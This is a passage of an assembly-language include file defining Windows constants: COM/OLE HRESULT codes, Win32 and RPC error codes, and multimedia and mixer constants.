800401D2h+CLIPBRD_E_BAD_DATA equ 800401D3h+CLIPBRD_E_CANT_CLOSE equ 800401D4h+MK_E_FIRST equ 800401E0h+MK_E_LAST equ 800401EFh+MK_S_FIRST equ 401E0h+MK_S_LAST equ 401EFh+MK_E_CONNECTMANUALLY equ 800401E0h+MK_E_EXCEEDEDDEADLINE equ 800401E1h+MK_E_NEEDGENERIC equ 800401E2h+MK_E_UNAVAILABLE equ 800401E3h+MK_E_SYNTAX equ 800401E4h+MK_E_NOOBJECT equ 800401E5h+MK_E_INVALIDEXTENSION equ 800401E6h+MK_E_INTERMEDIATEINTERFACENOTSUPPORTED equ 800401E7h+MK_E_NOTBINDABLE equ 800401E8h+MK_E_NOTBOUND equ 800401E9h+MK_E_CANTOPENFILE equ 800401EAh+MK_E_MUSTBOTHERUSER equ 800401EBh+MK_E_NOINVERSE equ 800401ECh+MK_E_NOSTORAGE equ 800401EDh+MK_E_NOPREFIX equ 800401EEh+MK_E_ENUMERATION_FAILED equ 800401EFh+CO_E_FIRST equ 800401F0h+CO_E_LAST equ 800401FFh+CO_S_FIRST equ 401F0h+CO_S_LAST equ 401FFh+CO_E_NOTINITIALIZED equ 800401F0h+CO_E_ALREADYINITIALIZED equ 800401F1h+CO_E_CANTDETERMINECLASS equ 800401F2h+CO_E_CLASSSTRING equ 800401F3h+CO_E_IIDSTRING equ 800401F4h+CO_E_APPNOTFOUND equ 800401F5h+CO_E_APPSINGLEUSE equ 800401F6h+CO_E_ERRORINAPP equ 800401F7h+CO_E_DLLNOTFOUND equ 800401F8h+CO_E_ERRORINDLL equ 800401F9h+CO_E_WRONGOSFORAPP equ 800401FAh+CO_E_OBJNOTREG equ 800401FBh+CO_E_OBJISREG equ 800401FCh+CO_E_OBJNOTCONNECTED equ 800401FDh+CO_E_APPDIDNTREG equ 800401FEh+CO_E_RELEASED equ 800401FFh+OLE_S_USEREG equ 40000h+OLE_S_STATIC equ 40001h+OLE_S_MAC_CLIPFORMAT equ 40002h+DRAGDROP_S_DROP equ 40100h+DRAGDROP_S_CANCEL equ 40101h+DRAGDROP_S_USEDEFAULTCURSORS equ 40102h+DATA_S_SAMEFORMATETC equ 40130h+VIEW_S_ALREADY_FROZEN equ 40140h+CACHE_S_FORMATETC_NOTSUPPORTED equ 40170h+CACHE_S_SAMECACHE equ 40171h+CACHE_S_SOMECACHES_NOTUPDATED equ 40172h+OLEOBJ_S_INVALIDVERB equ 40180h+OLEOBJ_S_CANNOT_DOVERB_NOW equ 40181h+OLEOBJ_S_INVALIDHWND equ 40182h+INPLACE_S_TRUNCATED equ 401A0h+CONVERT10_S_NO_PRESENTATION equ 401C0h+MK_S_REDUCED_TO_SELF equ 401E2h+MK_S_ME equ 401E4h+MK_S_HIM equ 401E5h+MK_S_US equ 401E6h+MK_S_MONIKERALREADYREGISTERED equ 401E7h+CO_E_CLASS_CREATE_FAILED equ 80080001h+CO_E_SCM_ERROR equ 80080002h+CO_E_SCM_RPC_FAILURE equ 80080003h+CO_E_BAD_PATH equ 80080004h+CO_E_SERVER_EXEC_FAILURE equ 80080005h+CO_E_OBJSRV_RPC_FAILURE equ 80080006h+MK_E_NO_NORMALIZED equ 80080007h+CO_E_SERVER_STOPPING equ 80080008h+MEM_E_INVALID_ROOT equ 80080009h+MEM_E_INVALID_LINK equ 80080010h+MEM_E_INVALID_SIZE equ 80080011h+DISP_E_UNKNOWNINTERFACE equ 80020001h+DISP_E_MEMBERNOTFOUND equ 80020003h+DISP_E_PARAMNOTFOUND equ 80020004h+DISP_E_TYPEMISMATCH equ 80020005h+DISP_E_UNKNOWNNAME equ 80020006h+DISP_E_NONAMEDARGS equ 80020007h+DISP_E_BADVARTYPE equ 80020008h+DISP_E_EXCEPTION equ 80020009h+DISP_E_OVERFLOW equ 8002000Ah+DISP_E_BADINDEX equ 8002000Bh+DISP_E_UNKNOWNLCID equ 8002000Ch+DISP_E_ARRAYISLOCKED equ 8002000Dh+DISP_E_BADPARAMCOUNT equ 8002000Eh+DISP_E_PARAMNOTOPTIONAL equ 8002000Fh+DISP_E_BADCALLEE equ 80020010h+DISP_E_NOTACOLLECTION equ 80020011h+TYPE_E_BUFFERTOOSMALL equ 80028016h+TYPE_E_INVDATAREAD equ 80028018h+TYPE_E_UNSUPFORMAT equ 80028019h+TYPE_E_REGISTRYACCESS equ 8002801Ch+TYPE_E_LIBNOTREGISTERED equ 8002801Dh+TYPE_E_UNDEFINEDTYPE equ 80028027h+TYPE_E_QUALIFIEDNAMEDISALLOWED equ 80028028h+TYPE_E_INVALIDSTATE equ 80028029h+TYPE_E_WRONGTYPEKIND equ 8002802Ah+TYPE_E_ELEMENTNOTFOUND equ 8002802Bh+TYPE_E_AMBIGUOUSNAME equ 8002802Ch+TYPE_E_NAMECONFLICT equ 8002802Dh+TYPE_E_UNKNOWNLCID equ 8002802Eh+TYPE_E_DLLFUNCTIONNOTFOUND equ 8002802Fh+TYPE_E_BADMODULEKIND equ 800288BDh+TYPE_E_SIZETOOBIG equ 800288C5h+TYPE_E_DUPLICATEID equ 800288C6h+TYPE_E_INVALIDID equ 800288CFh+TYPE_E_TYPEMISMATCH equ 80028CA0h+TYPE_E_OUTOFBOUNDS equ 80028CA1h+TYPE_E_IOERROR equ 80028CA2h+TYPE_E_CANTCREATETMPFILE equ 80028CA3h+TYPE_E_CANTLOADLIBRARY equ 80029C4Ah+TYPE_E_INCONSISTENTPROPFUNCS equ 80029C83h+TYPE_E_CIRCULARTYPE equ 80029C84h+STG_E_INVALIDFUNCTION equ 80030001h+STG_E_FILENOTFOUND equ 80030002h+STG_E_PATHNOTFOUND equ 80030003h+STG_E_TOOMANYOPENFILES equ 80030004h+STG_E_ACCESSDENIED equ 80030005h+STG_E_INVALIDHANDLE equ 80030006h+STG_E_INSUFFICIENTMEMORY equ 80030008h+STG_E_INVALIDPOINTER equ 80030009h+STG_E_NOMOREFILES equ 80030012h+STG_E_DISKISWRITEPROTECTED equ 80030013h+STG_E_SEEKERROR equ 80030019h+STG_E_WRITEFAULT equ 8003001Dh+STG_E_READFAULT equ 8003001Eh+STG_E_SHAREVIOLATION equ 80030020h+STG_E_LOCKVIOLATION equ 80030021h+STG_E_FILEALREADYEXISTS equ 80030050h+STG_E_INVALIDPARAMETER equ 80030057h+STG_E_MEDIUMFULL equ 80030070h+STG_E_ABNORMALAPIEXIT equ 800300FAh+STG_E_INVALIDHEADER equ 800300FBh+STG_E_INVALIDNAME equ 800300FCh+STG_E_UNKNOWN equ 800300FDh+STG_E_UNIMPLEMENTEDFUNCTION equ 800300FEh+STG_E_INVALIDFLAG equ 800300FFh+STG_E_INUSE equ 80030100h+STG_E_NOTCURRENT equ 80030101h+STG_E_REVERTED equ 80030102h+STG_E_CANTSAVE equ 80030103h+STG_E_OLDFORMAT equ 80030104h+STG_E_OLDDLL equ 80030105h+STG_E_SHAREREQUIRED equ 80030106h+STG_E_NOTFILEBASEDSTORAGE equ 80030107h+STG_E_EXTANTMARSHALLINGS equ 80030108h+STG_S_CONVERTED equ 30200h+RPC_E_CALL_REJECTED equ 80010001h+RPC_E_CALL_CANCELED equ 80010002h+RPC_E_CANTPOST_INSENDCALL equ 80010003h+RPC_E_CANTCALLOUT_INASYNCCALL equ 80010004h+RPC_E_CANTCALLOUT_INEXTERNALCALL equ 80010005h+RPC_E_CONNECTION_TERMINATED equ 80010006h+RPC_E_SERVER_DIED equ 80010007h+RPC_E_CLIENT_DIED equ 80010008h+RPC_E_INVALID_DATAPACKET equ 80010009h+RPC_E_CANTTRANSMIT_CALL equ 8001000Ah+RPC_E_CLIENT_CANTMARSHAL_DATA equ 8001000Bh+RPC_E_CLIENT_CANTUNMARSHAL_DATA equ 8001000Ch+RPC_E_SERVER_CANTMARSHAL_DATA equ 8001000Dh+RPC_E_SERVER_CANTUNMARSHAL_DATA equ 8001000Eh+RPC_E_INVALID_DATA equ 8001000Fh+RPC_E_INVALID_PARAMETER equ 80010010h+RPC_E_CANTCALLOUT_AGAIN equ 80010011h+RPC_E_SERVER_DIED_DNE equ 80010012h+RPC_E_SYS_CALL_FAILED equ 80010100h+RPC_E_OUT_OF_RESOURCES equ 80010101h+RPC_E_ATTEMPTED_MULTITHREAD equ 80010102h+RPC_E_NOT_REGISTERED equ 80010103h+RPC_E_FAULT equ 80010104h+RPC_E_SERVERFAULT equ 80010105h+RPC_E_CHANGED_MODE equ 80010106h+RPC_E_INVALIDMETHOD equ 80010107h+RPC_E_DISCONNECTED equ 80010108h+RPC_E_RETRY equ 80010109h+RPC_E_SERVERCALL_RETRYLATER equ 8001010Ah+RPC_E_SERVERCALL_REJECTED equ 8001010Bh+RPC_E_INVALID_CALLDATA equ 8001010Ch+RPC_E_CANTCALLOUT_ININPUTSYNCCALL equ 8001010Dh+RPC_E_WRONG_THREAD equ 8001010Eh+RPC_E_THREAD_NOT_INIT equ 8001010Fh+RPC_E_UNEXPECTED equ 8001FFFFh+ERROR_BAD_USERNAME equ 2202+ERROR_NOT_CONNECTED equ 2250+ERROR_OPEN_FILES equ 2401+ERROR_DEVICE_IN_USE equ 2404+ERROR_BAD_DEVICE equ 1200+ERROR_CONNECTION_UNAVAIL equ 1201+ERROR_DEVICE_ALREADY_REMEMBERED equ 1202+ERROR_NO_NET_OR_BAD_PATH equ 1203+ERROR_BAD_PROVIDER equ 1204+ERROR_CANNOT_OPEN_PROFILE equ 1205+ERROR_BAD_PROFILE equ 1206+ERROR_NOT_CONTAINER equ 1207+ERROR_EXTENDED_ERROR equ 1208+ERROR_INVALID_GROUPNAME equ 1209+ERROR_INVALID_COMPUTERNAME equ 1210+ERROR_INVALID_EVENTNAME equ 1211+ERROR_INVALID_DOMAINNAME equ 1212+ERROR_INVALID_SERVICENAME equ 1213+ERROR_INVALID_NETNAME equ 1214+ERROR_INVALID_SHARENAME equ 1215+ERROR_INVALID_PASSWORDNAME equ 1216+ERROR_INVALID_MESSAGENAME equ 1217+ERROR_INVALID_MESSAGEDEST equ 1218+ERROR_SESSION_CREDENTIAL_CONFLICT equ 1219+ERROR_REMOTE_SESSION_LIMIT_EXCEEDED equ 1220+ERROR_DUP_DOMAINNAME equ 1221+ERROR_NO_NETWORK equ 1222+ERROR_NOT_ALL_ASSIGNED equ 1300+ERROR_SOME_NOT_MAPPED equ 1301+ERROR_NO_QUOTAS_FOR_ACCOUNT equ 1302+ERROR_LOCAL_USER_SESSION_KEY equ 1303+ERROR_NULL_LM_PASSWORD equ 1304+ERROR_UNKNOWN_REVISION equ 1305+ERROR_REVISION_MISMATCH equ 1306+ERROR_INVALID_OWNER equ 1307+ERROR_INVALID_PRIMARY_GROUP equ 1308+ERROR_NO_IMPERSONATION_TOKEN equ 1309+ERROR_CANT_DISABLE_MANDATORY equ 1310+ERROR_NO_LOGON_SERVERS equ 1311+ERROR_NO_SUCH_LOGON_SESSION equ 1312+ERROR_NO_SUCH_PRIVILEGE equ 1313+ERROR_PRIVILEGE_NOT_HELD equ 1314+ERROR_INVALID_ACCOUNT_NAME equ 1315+ERROR_USER_EXISTS equ 1316+ERROR_NO_SUCH_USER equ 1317+ERROR_GROUP_EXISTS equ 1318+ERROR_NO_SUCH_GROUP equ 1319+ERROR_MEMBER_IN_GROUP equ 1320+ERROR_MEMBER_NOT_IN_GROUP equ 1321+ERROR_LAST_ADMIN equ 1322+ERROR_WRONG_PASSWORD equ 1323+ERROR_ILL_FORMED_PASSWORD equ 1324+ERROR_PASSWORD_RESTRICTION equ 1325+ERROR_LOGON_FAILURE equ 1326+ERROR_ACCOUNT_RESTRICTION equ 1327+ERROR_INVALID_LOGON_HOURS equ 1328+ERROR_INVALID_WORKSTATION equ 1329+ERROR_PASSWORD_EXPIRED equ 1330+ERROR_ACCOUNT_DISABLED equ 1331+ERROR_NONE_MAPPED equ 1332+ERROR_TOO_MANY_LUIDS_REQUESTED equ 1333+ERROR_LUIDS_EXHAUSTED equ 1334+ERROR_INVALID_SUB_AUTHORITY equ 1335+ERROR_INVALID_ACL equ 1336+ERROR_INVALID_SID equ 1337+ERROR_INVALID_SECURITY_DESCR equ 1338+ERROR_BAD_INHERITANCE_ACL equ 1340+ERROR_SERVER_DISABLED equ 1341+ERROR_SERVER_NOT_DISABLED equ 1342+ERROR_INVALID_ID_AUTHORITY equ 1343+ERROR_ALLOTTED_SPACE_EXCEEDED equ 1344+ERROR_INVALID_GROUP_ATTRIBUTES equ 1345+ERROR_BAD_IMPERSONATION_LEVEL equ 1346+ERROR_CANT_OPEN_ANONYMOUS equ 1347+ERROR_BAD_VALIDATION_CLASS equ 1348+ERROR_BAD_TOKEN_TYPE equ 1349+ERROR_NO_SECURITY_ON_OBJECT equ 1350+ERROR_CANT_ACCESS_DOMAIN_INFO equ 1351+ERROR_INVALID_SERVER_STATE equ 1352+ERROR_INVALID_DOMAIN_STATE equ 1353+ERROR_INVALID_DOMAIN_ROLE equ 1354+ERROR_NO_SUCH_DOMAIN equ 1355+ERROR_DOMAIN_EXISTS equ 1356+ERROR_DOMAIN_LIMIT_EXCEEDED equ 1357+ERROR_INTERNAL_DB_CORRUPTION equ 1358+ERROR_INTERNAL_ERROR equ 1359+ERROR_GENERIC_NOT_MAPPED equ 1360+ERROR_BAD_DESCRIPTOR_FORMAT equ 1361+ERROR_NOT_LOGON_PROCESS equ 1362+ERROR_LOGON_SESSION_EXISTS equ 1363+ERROR_NO_SUCH_PACKAGE equ 1364+ERROR_BAD_LOGON_SESSION_STATE equ 1365+ERROR_LOGON_SESSION_COLLISION equ 1366+ERROR_INVALID_LOGON_TYPE equ 1367+ERROR_CANNOT_IMPERSONATE equ 1368+ERROR_RXACT_INVALID_STATE equ 1369+ERROR_RXACT_COMMIT_FAILURE equ 1370+ERROR_SPECIAL_ACCOUNT equ 1371+ERROR_SPECIAL_GROUP equ 1372+ERROR_SPECIAL_USER equ 1373+ERROR_MEMBERS_PRIMARY_GROUP equ 1374+ERROR_TOKEN_ALREADY_IN_USE equ 1375+ERROR_NO_SUCH_ALIAS equ 1376+ERROR_MEMBER_NOT_IN_ALIAS equ 1377+ERROR_MEMBER_IN_ALIAS equ 1378+ERROR_ALIAS_EXISTS equ 1379+ERROR_LOGON_NOT_GRANTED equ 1380+ERROR_TOO_MANY_SECRETS equ 1381+ERROR_SECRET_TOO_LONG equ 1382+ERROR_INTERNAL_DB_ERROR equ 1383+ERROR_TOO_MANY_CONTEXT_IDS equ 1384+ERROR_LOGON_TYPE_NOT_GRANTED equ 1385+ERROR_NT_CROSS_ENCRYPTION_REQUIRED equ 1386+ERROR_NO_SUCH_MEMBER equ 1387+ERROR_INVALID_MEMBER equ 1388+ERROR_TOO_MANY_SIDS equ 1389+ERROR_LM_CROSS_ENCRYPTION_REQUIRED equ 1390+ERROR_NO_INHERITANCE equ 1391+ERROR_FILE_CORRUPT equ 1392+ERROR_DISK_CORRUPT equ 1393+ERROR_NO_USER_SESSION_KEY equ 1394+ERROR_INVALID_WINDOW_HANDLE equ 1400+ERROR_INVALID_MENU_HANDLE equ 1401+ERROR_INVALID_CURSOR_HANDLE equ 1402+ERROR_INVALID_ACCEL_HANDLE equ 1403+ERROR_INVALID_HOOK_HANDLE equ 1404+ERROR_INVALID_DWP_HANDLE equ 1405+ERROR_TLW_WITH_WSCHILD equ 1406+ERROR_CANNOT_FIND_WND_CLASS equ 1407+ERROR_WINDOW_OF_OTHER_THREAD equ 1408+ERROR_HOTKEY_ALREADY_REGISTERED equ 1409+ERROR_CLASS_ALREADY_EXISTS equ 1410+ERROR_CLASS_DOES_NOT_EXIST equ 1411+ERROR_CLASS_HAS_WINDOWS equ 1412+ERROR_INVALID_INDEX equ 1413+ERROR_INVALID_ICON_HANDLE equ 1414+ERROR_PRIVATE_DIALOG_INDEX equ 1415+ERROR_LISTBOX_ID_NOT_FOUND equ 1416+ERROR_NO_WILDCARD_CHARACTERS equ 1417+ERROR_CLIPBOARD_NOT_OPEN equ 1418+ERROR_HOTKEY_NOT_REGISTERED equ 1419+ERROR_WINDOW_NOT_DIALOG equ 1420+ERROR_CONTROL_ID_NOT_FOUND equ 1421+ERROR_INVALID_COMBOBOX_MESSAGE equ 1422+ERROR_WINDOW_NOT_COMBOBOX equ 1423+ERROR_INVALID_EDIT_HEIGHT equ 1424+ERROR_DC_NOT_FOUND equ 1425+ERROR_INVALID_HOOK_FILTER equ 1426+ERROR_INVALID_FILTER_PROC equ 1427+ERROR_HOOK_NEEDS_HMOD equ 1428+ERROR_PUBLIC_ONLY_HOOK equ 1429+ERROR_JOURNAL_HOOK_SET equ 1430+ERROR_HOOK_NOT_INSTALLED equ 1431+ERROR_INVALID_LB_MESSAGE equ 1432+ERROR_SETCOUNT_ON_BAD_LB equ 1433+ERROR_LB_WITHOUT_TABSTOPS equ 1434+ERROR_DESTROY_OBJECT_OF_OTHER_THREAD equ 1435+ERROR_CHILD_WINDOW_MENU equ 1436+ERROR_NO_SYSTEM_MENU equ 1437+ERROR_INVALID_MSGBOX_STYLE equ 1438+ERROR_INVALID_SPI_VALUE equ 1439+ERROR_SCREEN_ALREADY_LOCKED equ 1440+ERROR_HWNDS_HAVE_DIFF_PARENT equ 1441+ERROR_NOT_CHILD_WINDOW equ 1442+ERROR_INVALID_GW_COMMAND equ 1443+ERROR_INVALID_THREAD_ID equ 1444+ERROR_NON_MDICHILD_WINDOW equ 1445+ERROR_POPUP_ALREADY_ACTIVE equ 1446+ERROR_NO_SCROLLBARS equ 1447+ERROR_INVALID_SCROLLBAR_RANGE equ 1448+ERROR_INVALID_SHOWWIN_COMMAND equ 1449+ERROR_EVENTLOG_FILE_CORRUPT equ 1500+ERROR_EVENTLOG_CANT_START equ 1501+ERROR_LOG_FILE_FULL equ 1502+ERROR_EVENTLOG_FILE_CHANGED equ 1503+RPC_S_INVALID_STRING_BINDING equ 1700+RPC_S_WRONG_KIND_OF_BINDING equ 1701+RPC_S_INVALID_BINDING equ 1702+RPC_S_PROTSEQ_NOT_SUPPORTED equ 1703+RPC_S_INVALID_RPC_PROTSEQ equ 1704+RPC_S_INVALID_STRING_UUID equ 1705+RPC_S_INVALID_ENDPOINT_FORMAT equ 1706+RPC_S_INVALID_NET_ADDR equ 1707+RPC_S_NO_ENDPOINT_FOUND equ 1708+RPC_S_INVALID_TIMEOUT equ 1709+RPC_S_OBJECT_NOT_FOUND equ 1710+RPC_S_ALREADY_REGISTERED equ 1711+RPC_S_TYPE_ALREADY_REGISTERED equ 1712+RPC_S_ALREADY_LISTENING equ 1713+RPC_S_NO_PROTSEQS_REGISTERED equ 1714+RPC_S_NOT_LISTENING equ 1715+RPC_S_UNKNOWN_MGR_TYPE equ 1716+RPC_S_UNKNOWN_IF equ 1717+RPC_S_NO_BINDINGS equ 1718+RPC_S_NO_PROTSEQS equ 1719+RPC_S_CANT_CREATE_ENDPOINT equ 1720+RPC_S_OUT_OF_RESOURCES equ 1721+RPC_S_SERVER_UNAVAILABLE equ 1722+RPC_S_SERVER_TOO_BUSY equ 1723+RPC_S_INVALID_NETWORK_OPTIONS equ 1724+RPC_S_NO_CALL_ACTIVE equ 1725+RPC_S_CALL_FAILED equ 1726+RPC_S_CALL_FAILED_DNE equ 1727+RPC_S_PROTOCOL_ERROR equ 1728+RPC_S_UNSUPPORTED_TRANS_SYN equ 1730+RPC_S_UNSUPPORTED_TYPE equ 1732+RPC_S_INVALID_TAG equ 1733+RPC_S_INVALID_BOUND equ 1734+RPC_S_NO_ENTRY_NAME equ 1735+RPC_S_INVALID_NAME_SYNTAX equ 1736+RPC_S_UNSUPPORTED_NAME_SYNTAX equ 1737+RPC_S_UUID_NO_ADDRESS equ 1739+RPC_S_DUPLICATE_ENDPOINT equ 1740+RPC_S_UNKNOWN_AUTHN_TYPE equ 1741+RPC_S_MAX_CALLS_TOO_SMALL equ 1742+RPC_S_STRING_TOO_LONG equ 1743+RPC_S_PROTSEQ_NOT_FOUND equ 1744+RPC_S_PROCNUM_OUT_OF_RANGE equ 1745+RPC_S_BINDING_HAS_NO_AUTH equ 1746+RPC_S_UNKNOWN_AUTHN_SERVICE equ 1747+RPC_S_UNKNOWN_AUTHN_LEVEL equ 1748+RPC_S_INVALID_AUTH_IDENTITY equ 1749+RPC_S_UNKNOWN_AUTHZ_SERVICE equ 1750+EPT_S_INVALID_ENTRY equ 1751+EPT_S_CANT_PERFORM_OP equ 1752+EPT_S_NOT_REGISTERED equ 1753+RPC_S_NOTHING_TO_EXPORT equ 1754+RPC_S_INCOMPLETE_NAME equ 1755+RPC_S_INVALID_VERS_OPTION equ 1756+RPC_S_NO_MORE_MEMBERS equ 1757+RPC_S_NOT_ALL_OBJS_UNEXPORTED equ 1758+RPC_S_INTERFACE_NOT_FOUND equ 1759+RPC_S_ENTRY_ALREADY_EXISTS equ 1760+RPC_S_ENTRY_NOT_FOUND equ 1761+RPC_S_NAME_SERVICE_UNAVAILABLE equ 1762+RPC_S_INVALID_NAF_ID equ 1763+RPC_S_CANNOT_SUPPORT equ 1764+RPC_S_NO_CONTEXT_AVAILABLE equ 1765+RPC_S_INTERNAL_ERROR equ 1766+RPC_S_ZERO_DIVIDE equ 1767+RPC_S_ADDRESS_ERROR equ 1768+RPC_S_FP_DIV_ZERO equ 1769+RPC_S_FP_UNDERFLOW equ 1770+RPC_S_FP_OVERFLOW equ 1771+RPC_X_NO_MORE_ENTRIES equ 1772+RPC_X_SS_CHAR_TRANS_OPEN_FAIL equ 1773+RPC_X_SS_CHAR_TRANS_SHORT_FILE equ 1774+RPC_X_SS_IN_NULL_CONTEXT equ 1775+RPC_X_SS_CONTEXT_DAMAGED equ 1777+RPC_X_SS_HANDLES_MISMATCH equ 1778+RPC_X_SS_CANNOT_GET_CALL_HANDLE equ 1779+RPC_X_NULL_REF_POINTER equ 1780+RPC_X_ENUM_VALUE_OUT_OF_RANGE equ 1781+RPC_X_BYTE_COUNT_TOO_SMALL equ 1782+RPC_X_BAD_STUB_DATA equ 1783+ERROR_INVALID_USER_BUFFER equ 1784+ERROR_UNRECOGNIZED_MEDIA equ 1785+ERROR_NO_TRUST_LSA_SECRET equ 1786+ERROR_NO_TRUST_SAM_ACCOUNT equ 1787+ERROR_TRUSTED_DOMAIN_FAILURE equ 1788+ERROR_TRUSTED_RELATIONSHIP_FAILURE equ 1789+ERROR_TRUST_FAILURE equ 1790+RPC_S_CALL_IN_PROGRESS equ 1791+ERROR_NETLOGON_NOT_STARTED equ 1792+ERROR_ACCOUNT_EXPIRED equ 1793+ERROR_REDIRECTOR_HAS_OPEN_HANDLES equ 1794+ERROR_PRINTER_DRIVER_ALREADY_INSTALLED equ 1795+ERROR_UNKNOWN_PORT equ 1796+ERROR_UNKNOWN_PRINTER_DRIVER equ 1797+ERROR_UNKNOWN_PRINTPROCESSOR equ 1798+ERROR_INVALID_SEPARATOR_FILE equ 1799+ERROR_INVALID_PRIORITY equ 1800+ERROR_INVALID_PRINTER_NAME equ 1801+ERROR_PRINTER_ALREADY_EXISTS equ 1802+ERROR_INVALID_PRINTER_COMMAND equ 1803+ERROR_INVALID_DATATYPE equ 1804+ERROR_INVALID_ENVIRONMENT equ 1805+RPC_S_NO_MORE_BINDINGS equ 1806+ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT equ 1807+ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT equ 1808+ERROR_NOLOGON_SERVER_TRUST_ACCOUNT equ 1809+ERROR_DOMAIN_TRUST_INCONSISTENT equ 1810+ERROR_SERVER_HAS_OPEN_HANDLES equ 1811+ERROR_RESOURCE_DATA_NOT_FOUND equ 1812+ERROR_RESOURCE_TYPE_NOT_FOUND equ 1813+ERROR_RESOURCE_NAME_NOT_FOUND equ 1814+ERROR_RESOURCE_LANG_NOT_FOUND equ 1815+ERROR_NOT_ENOUGH_QUOTA equ 1816+RPC_S_GROUP_MEMBER_NOT_FOUND equ 1898+EPT_S_CANT_CREATE equ 1899+RPC_S_INVALID_OBJECT equ 1900+ERROR_INVALID_TIME equ 1901+ERROR_INVALID_FORM_NAME equ 1902+ERROR_INVALID_FORM_SIZE equ 1903+ERROR_ALREADY_WAITING equ 1904+ERROR_PRINTER_DELETED equ 1905+ERROR_INVALID_PRINTER_STATE equ 1906+ERROR_NO_BROWSER_SERVERS_FOUND equ 6118+MAXPNAMELEN equ 32+MAXERRORLENGTH equ 128+TIME_MS equ 1h+TIME_SAMPLES equ 2h+TIME_BYTES equ 4h+TIME_SMPTE equ 8h+TIME_MIDI equ 10h+MM_JOY1MOVE equ 3A0h+MM_JOY2MOVE equ 3A1h+MM_JOY1ZMOVE equ 3A2h+MM_JOY2ZMOVE equ 3A3h+MM_JOY1BUTTONDOWN equ 3B5h+MM_JOY2BUTTONDOWN equ 3B6h+MM_JOY1BUTTONUP equ 3B7h+MM_JOY2BUTTONUP equ 3B8h+MM_MCINOTIFY equ 3B9h+MM_MCISYSTEM_STRING equ 3CAh+MM_WOM_OPEN equ 3BBh+MM_WOM_CLOSE equ 3BCh+MM_WOM_DONE equ 3BDh+MM_WIM_OPEN equ 3BEh+MM_WIM_CLOSE equ 3BFh+MM_WIM_DATA equ 3C0h+MM_MIM_OPEN equ 3C1h+MM_MIM_CLOSE equ 3C2h+MM_MIM_DATA equ 3C3h+MM_MIM_LONGDATA equ 3C4h+MM_MIM_ERROR equ 3C5h+MM_MIM_LONGERROR equ 3C6h+MM_MOM_OPEN equ 3C7h+MM_MOM_CLOSE equ 3C8h+MM_MOM_DONE equ 3C9h+MMSYSERR_BASE equ 0+WAVERR_BASE equ 32+MIDIERR_BASE equ 64+TIMERR_BASE equ 96+JOYERR_BASE equ 160+MCIERR_BASE equ 256+MCI_STRING_OFFSET equ 512+MCI_VD_OFFSET equ 1024+MCI_CD_OFFSET equ 1088+MCI_WAVE_OFFSET equ 1152+MCI_SEQ_OFFSET equ 1216+MMSYSERR_NOERROR equ 0+MMSYSERR_ERROR equ MMSYSERR_BASE+1+MMSYSERR_BADDEVICEID equ MMSYSERR_BASE+2+MMSYSERR_NOTENABLED equ MMSYSERR_BASE+3+MMSYSERR_ALLOCATED equ MMSYSERR_BASE+4+MMSYSERR_INVALHANDLE equ MMSYSERR_BASE+5+MMSYSERR_NODRIVER equ MMSYSERR_BASE+6+MMSYSERR_NOMEM equ MMSYSERR_BASE+7+MMSYSERR_NOTSUPPORTED equ MMSYSERR_BASE+8+MMSYSERR_BADERRNUM equ MMSYSERR_BASE+9+MMSYSERR_INVALFLAG equ MMSYSERR_BASE+10+MMSYSERR_INVALPARAM equ MMSYSERR_BASE+11+MMSYSERR_HANDLEBUSY equ MMSYSERR_BASE+12+MMSYSERR_INVALIDALIAS equ MMSYSERR_BASE+13+MMSYSERR_LASTERROR equ MMSYSERR_BASE+13+MM_MOM_POSITIONCB equ 3CAh+MM_MCISIGNAL equ 3CBh+MM_MIM_MOREDATA equ 3CCh+MIDICAPS_STREAM equ 8h+MEVT_F_SHORT equ 0h+MEVT_F_LONG equ 80000000h+MEVT_F_CALLBACK equ 40000000h+MIDISTRM_ERROR equ -2+MIDIPROP_SET equ 80000000h+MIDIPROP_GET equ 40000000h+MIDIPROP_TIMEDIV equ 1h+MIDIPROP_TEMPO equ 2h+MIXER_SHORT_NAME_CHARS equ 16+MIXER_LONG_NAME_CHARS equ 64+MIXERR_BASE equ 1024+MIXERR_INVALLINE equ MIXERR_BASE+0+MIXERR_INVALCONTROL equ MIXERR_BASE+1+MIXERR_INVALVALUE equ MIXERR_BASE+2+MIXERR_LASTERROR equ MIXERR_BASE+2+MIXER_OBJECTF_HANDLE equ 80000000h+MIXER_OBJECTF_MIXER equ 0h+MIXER_OBJECTF_HMIXER equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIXER+MIXER_OBJECTF_WAVEOUT equ 10000000h+MIXER_OBJECTF_HWAVEOUT equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_WAVEOUT+MIXER_OBJECTF_WAVEIN equ 20000000h+MIXER_OBJECTF_HWAVEIN equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_WAVEIN+MIXER_OBJECTF_MIDIOUT equ 30000000h+MIXER_OBJECTF_HMIDIOUT equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIDIOUT+MIXER_OBJECTF_MIDIIN equ 40000000h+MIXER_OBJECTF_HMIDIIN equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIDIIN+MIXER_OBJECTF_AUX equ 50000000h+MIXERLINE_LINEF_ACTIVE equ 1h+MIXERLINE_LINEF_DISCONNECTED equ 8000h+MIXERLINE_LINEF_SOURCE equ 80000000h+MIXERLINE_COMPONENTTYPE_DST_FIRST equ 0h+MIXERLINE_COMPONENTTYPE_DST_UNDEFINED equ MIXERLINE_COMPONENTTYPE_DST_FIRST+0+MIXERLINE_COMPONENTTYPE_DST_DIGITAL equ MIXERLINE_COMPONENTTYPE_DST_FIRST+1+MIXERLINE_COMPONENTTYPE_DST_LINE equ MIXERLINE_COMPONENTTYPE_DST_FIRST+2+MIXERLINE_COMPONENTTYPE_DST_MONITOR equ MIXERLINE_COMPONENTTYPE_DST_FIRST+3+MIXERLINE_COMPONENTTYPE_DST_SPEAKERS equ MIXERLINE_COMPONENTTYPE_DST_FIRST+4+MIXERLINE_COMPONENTTYPE_DST_HEADPHONES equ MIXERLINE_COMPONENTTYPE_DST_FIRST+5+MIXERLINE_COMPONENTTYPE_DST_TELEPHONE equ MIXERLINE_COMPONENTTYPE_DST_FIRST+6+MIXERLINE_COMPONENTTYPE_DST_WAVEIN equ MIXERLINE_COMPONENTTYPE_DST_FIRST+7+MIXERLINE_COMPONENTTYPE_DST_VOICEIN equ 